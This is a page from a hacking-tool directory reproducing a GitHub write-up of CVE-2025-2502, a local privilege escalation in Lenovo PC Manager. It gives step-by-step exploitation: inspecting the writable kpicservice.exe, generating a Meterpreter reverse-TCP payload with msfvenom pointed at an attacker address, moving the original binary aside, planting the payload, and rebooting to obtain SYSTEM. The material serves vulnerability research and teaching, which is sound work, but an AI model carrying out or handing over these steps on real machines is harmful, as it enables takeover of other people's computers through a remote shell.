Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2025-2502 — Step-by-step demonstration of a local privilege escalation vulnerability in Lenovo PC Manager, exploiting weak file permissions on a system service to gain SYSTEM access via payload replacement. | Kitploit
Tools/GitHubGitHub/ihk-one/cve-2025-2502
Privilege EscalationVulnerability AnalysisExploitationLearning & EducationLabs & Practice
GitHubihk-one/cve-2025-2502

CVE-2025-2502

Step-by-step demonstration of a local privilege escalation vulnerability in Lenovo PC Manager, exploiting weak file permissions on a system service to gain SYSTEM access via payload replacement.

View Repository
53461 year agoNot yet reviewed
Share

Discovered by chance while learning about local privilege escalation.

In any version of Lenovo PC Manager, the tools in Lenovo PC Manager have permission flaws. Any downloaded tool grants ordinary users F (full control) permissions.

Since tools in all versions have permission issues, ordinary users can escalate to admin privileges. Here, we use the AI image viewer plugin as a demonstration because it has a system-level service that can be used to elevate to SYSTEM. Prior to version 5.1.100.1102, Lenovo PC Manager included the AI Picture plugin.

After installing the AI Picture plugin, a persistent service is created:

C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Check the file permissions with icacls:

It shows that ordinary Users have I F (full control). Create a standard user:

Now from the attacker's perspective: when no Administrators group user is logged in, we need to log off all users, then log in as user1. Use sc to query the service — it runs as LocalSystem:

sc qc KPICService_Lenovo

The file C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe is one that ordinary users have full control over.

However, because of restrictions, the service holds a lock on the file; an ordinary user would need admin privileges to stop it.

Alternative approach: Since the ordinary user has full control, they can move the file. When the system restarts, the service reads the configured path and will still run kpicservice.exe as LocalSystem.

Now let's put it into practice. First, generate a malicious kpicservice.exe:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.133 LPORT=4444 -f exe -o kpicservice.exe

Then move the original file and replace it with our shell:

move C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe kpicservice.exe
move Desktop\kpicservice.exe C:\ProgramData\Lenovo\devicecenter\modules\aipicture\5.1.80.8121\kpicservice.exe

Now reboot the device. The service will start the replaced kpicservice.exe from the path, granting SYSTEM privileges.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    911
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    548
  • 3

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 4

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    362
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    311
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    287

Explore all tools

Browse our collection of tools

View all tools →